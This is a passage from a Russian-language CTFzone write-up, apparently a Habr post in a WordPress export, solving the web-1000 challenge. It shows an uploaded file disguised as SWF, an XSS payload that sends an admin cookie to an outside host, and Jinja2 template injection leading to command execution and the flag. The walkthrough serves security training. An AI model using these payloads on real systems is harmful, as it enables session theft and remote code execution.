\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432. \u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u043e\u043b\u0433\u0438\u0445 \u0440\u0430\u0437\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0439 \u0440\u0435\u0448\u0430\u0435\u043c \u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c <code>swf<\/code> \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f <code>https:\/\/github.com\/evilcos\/\u0445ss.swf<\/code>.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0448\u0438\u0431\u043a\u0443:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/bf3\/45b\/806\/bf345b8067f64f39903d7dc21dd9d346.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u043d\u0430\u0434\u043e \u0437\u0430\u043c\u043e\u0440\u043e\u0447\u0438\u0442\u044c\u0441\u044f \u0441 <code>swf<\/code>. \u041f\u043e \u043b\u0435\u0433\u0435\u043d\u0434\u0435 <code>adblock<\/code> \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f \u043f\u043e\u0434\u0441\u0443\u043d\u0443\u0442\u044c swf \u0444\u0430\u0439\u043b \u0441 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c <code>javascript<\/code>\u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u043e\u043c. \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043c\u0435\u043d\u044f\u0435\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441 <code>CWS<\/code> \u043d\u0430 <code>FWS<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442, \u0447\u0442\u043e <code>swf<\/code> \u0444\u0430\u0439\u043b \u043d\u0435 \u0441\u0436\u0430\u0442.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/512\/f6c\/f1b\/512f6cf1bfff4035828adf1acbea4719.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u2014 <code>framerate<\/code>. \u0427\u0442\u043e \u0436\u0435 \u0433\u0443\u0433\u043b\u0438\u043c \u0441\u043f\u0435\u043a\u0443, \u043d\u0430\u0445\u043e\u0434\u0438\u043c, \u0447\u0442\u043e \u043f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e <code>0x12<\/code> \u043e\u043d \u043a\u0430\u043a \u0440\u0430\u0437 \u0438 \u043b\u0435\u0436\u0438\u0442.<br \/>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u0448 <code>swf<\/code> \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440. \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 <code>javascript<\/code> \u0438 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u044b\u0442\u0430\u0449\u0438\u0442\u044c \u043a\u0443\u043a\u0438. \u0424\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c <code>payload<\/code>:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/0f3\/94c\/214\/0f394c214e3a49ab921a1852cf9bc7b4.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u0430\u0435\u043c <code>\u0445ss<\/code>!<br \/>  \u0424\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u043c payload:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">web1000.ctf\/?search=&quot;&lt;SCRIPT\/SRC=&quot;\/uploads\/\u0445ss7.swf&quot;&gt;&lt;\/SCRIPT&gt;&lt;p&gt;<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u0443\u043a\u0438.<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">GET \/?=SESSION=eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 HTTP\/1.1 User-Agent: Mozilla\/5.0 (Unknown; Linux x86_64) AppleWebKit\/538.1 (KHTML, like Gecko) PhantomJS\/2.1.1 Safari\/538.1 Referer: http:\/\/10.1.2.20:8081\/?search=%22%3CSCRIPT\/SRC=%22\/uploads\/xss7.swf%22%3E%3C\/SCRIPT%3E%3Cp%3E Origin: http:\/\/10.1.2.20:8081 Accept: *\/* Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: ru-RU,en,* Host: 8.8.8.8:1234<\/code><\/pre>\n<p>  <\/p>\n<p>\u0417\u0430\u0445\u043e\u0434\u0438\u043c, \u043d\u043e, \u043f\u043e\u0445\u043e\u0436\u0435, \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/274\/8bd\/128\/2748bd128a184870b8394d84486c3bc0.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u0435\u0441\u0441\u0438\u044e: \u044f\u0432\u043d\u043e <code>base64<\/code>. \u0414\u0435\u043a\u043e\u0434\u0438\u043c:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">eyJzZWNyZXQiOiAiOWI0NjAyZDlhNTI0OTAyNzU2YTcwYjg5NDlhZGNiMWYiLCAidXNlciI6ICJhZG1pbiJ9 {&quot;secret&quot;: &quot;9b4602d9a524902756a70b8949adcb1f&quot;, &quot;user&quot;: &quot;admin&quot;}<\/code><\/pre>\n<p>  <\/p>\n<p>\u0417\u0430\u0447\u0435\u043c \u0437\u0434\u0435\u0441\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f? \u041c\u0435\u043d\u044f\u0435\u043c \u0441\u0435\u0441\u0441\u0438\u044e. \u0418\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f. \u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u043b\u0433\u0438\u0445 \u0440\u0430\u0437\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0439 \u0438 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u043f\u0440\u043e\u0431\u0443\u0435\u043c <code>{{ 2+2 }}<\/code>. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c 4.<br \/>  \u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432 \u0448\u0430\u0431\u043b\u043e\u043d. \u0421\u043f\u043e\u0441\u043e\u0431\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u044b <a href=\"https:\/\/nvisium.com\/blog\/2016\/03\/09\/exploring-ssti-in-flask-jinja2\/\">\u0437\u0434\u0435\u0441\u044c<\/a>.<br \/>  \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0441\u0435 \u043f\u043e\u0434\u0440\u044f\u0434. \u0412\u044b\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043e\u0442 <code>magic_methods<\/code> c <code>underscore<\/code>, \u043f\u0438\u0442\u043e\u043d\u0443 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043f\u043b\u043e\u0445\u043e. \u041d\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 <code>from_pyfile<\/code>. \u0417\u0430\u043b\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430 \u043a\u043e\u0434 \u043c\u044b \u043d\u0430\u0443\u0447\u0438\u043b\u0438\u0441\u044c \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u044f. \u041d\u0430\u043c \u043d\u0443\u0436\u0435\u043d \u0442\u0430\u043a\u043e\u0439 <code>payload<\/code>:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">from subprocess import check_output RUNCMD = check_output<\/code><\/pre>\n<p>  <\/p>\n<p>\u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u0444\u0430\u0439\u043b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u0430\u043a <code>swf<\/code>:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c3d\/88e\/399\/c3d88e399d244ba3a5f6fc61d714b7d6.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0435\u0433\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0435\u0441\u0441\u0438\u044e:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">{     &quot;secret&quot;: &quot;9b4602d9a524902756a70b8949adcb1f&quot;,     &quot;user&quot;: &quot;{{ config.from_pyfile('uploads\/12.swf') }}&quot; }<\/code><\/pre>\n<p>  <\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.<br \/>  \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c <code>config.items()<\/code><\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/bc5\/c15\/36e\/bc5c1536edbe43b6b573bbface52730f.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0439\u0442\u0438 \u0444\u043b\u0430\u0433:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">{     &quot;secret&quot;: &quot;9b4602d9a524902756a70b8949adcb1f&quot;,     &quot;user&quot;: &quot;{{ config['RUNCMD']('ls', shell=True)}}&quot; }<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0442\u0432\u0435\u0442:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">admin_blueprint.py admin_blueprint.pyc application.py application.pyc flag.t\u0445t ghostdriver.log requirements.t\u0445t static task.py templates uploads worker.py worker.pyc<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u0441\u0435. \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c <code>cat flag.t\u0445t<\/code><\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/ba8\/192\/737\/ba8192737ed04d18a126705be7174ca8.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0413\u043e\u0442\u043e\u0432\u043e!<\/p>\n<p>  <\/p>\n<p><strong>\u041e\u0442\u0432\u0435\u0442: <\/strong>\u00a0<em>ctfzone{3245c702f66816ca086a730c6baa5e16}<\/em><\/p>\n<p>  <\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0430\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435. \u041e\u0441\u0442\u0430\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u0441 \u043d\u0430\u043c\u0438, \u0438 \u043e\u0447\u0435\u043d\u044c \u0441\u043a\u043e\u0440\u043e \u043c\u044b \u0440\u0430\u0441\u043a\u0440\u043e\u0435\u043c \u0432\u0430\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0442\u0430\u0439\u043d\u0443 \u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u0445. \u0410 \u043f\u043e\u043a\u0430, \u043e\u0431\u0441\u0443\u0434\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0440\u0430\u0439\u0442\u0430\u043f \u0438 \u0437\u0430\u0434\u0430\u0442\u044c \u043f\u0430\u0440\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u0432 <a href=\"https:\/\/telegram.me\/joinchat\/Aj-l2UC2XdOvF_ogMsQE0\">\u043d\u0430\u0448\u0435\u043c \u0447\u0430\u0442\u0435 \u0432 \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c\u0435<\/a> \u0438 \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 \u043a \u043f\u043e\u0441\u0442\u0443.<\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0443 \u0432\u0430\u0441 \u0435\u0449\u0435 \u0435\u0441\u0442\u044c \u0432\u0440\u0435\u043c\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u043b\u044b \u0432 \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u0445 \u043f\u043e \u0445\u0430\u0439\u0440\u0438\u043d\u0433\u0443 <a href=\"https:\/\/tasks.bi.zone\">\u0432\u043e\u0442 \u0442\u0443\u0442<\/a>, \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043e 15.12. \u0416\u0435\u043b\u0430\u0435\u043c \u0443\u0434\u0430\u0447\u0438!<\/p>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/317422\/\"> https:\/\/habrahabr.ru\/post\/317422\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/de8\/9a6\/d67\/de89a6d6758147509de16c07f02a2bf3.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u0440\u0443\u0437\u044c\u044f, \u043d\u0430\u0434\u0435\u0435\u043c\u0441\u044f, \u0447\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0443 \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0448\u043b\u0438 \u0445\u043e\u0440\u043e\u0448\u043e, \u0438 \u0432\u044b \u0441\u043d\u043e\u0432\u0430 \u0433\u043e\u0442\u043e\u0432\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u043e\u043c\u0430\u0442\u044c \u0433\u043e\u043b\u043e\u0432\u0443 \u043d\u0430\u0434 \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u043c\u0438 CTFzone. \u041c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0439\u0442\u0430\u043f\u044b \u043a \u0442\u0430\u0441\u043a\u0430\u043c, \u0438 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0432\u0435\u0442\u043a\u0443 <strong>WEB<\/strong>. \u041d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0437\u0430\u043f\u0430\u0441\u0430\u0439\u0442\u0435\u0441\u044c \u043a\u0430\u0432\u044b\u0447\u043a\u0430\u043c\u0438 \u0438 \u0432\u043f\u0435\u0440\u0435\u0434 \ud83d\ude09<\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 WEB \u0431\u044b\u043b\u043e \u0432\u0442\u043e\u0440\u044b\u043c \u043f\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 Forensics, \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0438\u043b\u0438 303 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u041a\u0441\u0442\u0430\u0442\u0438, \u0438\u0437 \u043d\u0438\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0430 1000 \u0440\u0435\u0448\u0438\u043b\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u044f\u0442\u044c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u043c\u0443 \u043c\u044b \u0443\u0434\u0435\u043b\u0438\u043c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \u0417\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 50 \u0438 \u043d\u0430 100 \u0443\u0436\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438\u0441\u044c, \u0442\u0430\u043a \u0447\u0442\u043e \u043c\u044b \u0441\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0442\u0430\u0441\u043a\u0430\u043c \u043f\u043e\u0441\u043b\u043e\u0436\u043d\u0435\u0435. <\/p>\n<p>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-282558","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282558","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=282558"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/282558\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=282558"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=282558"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=282558"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}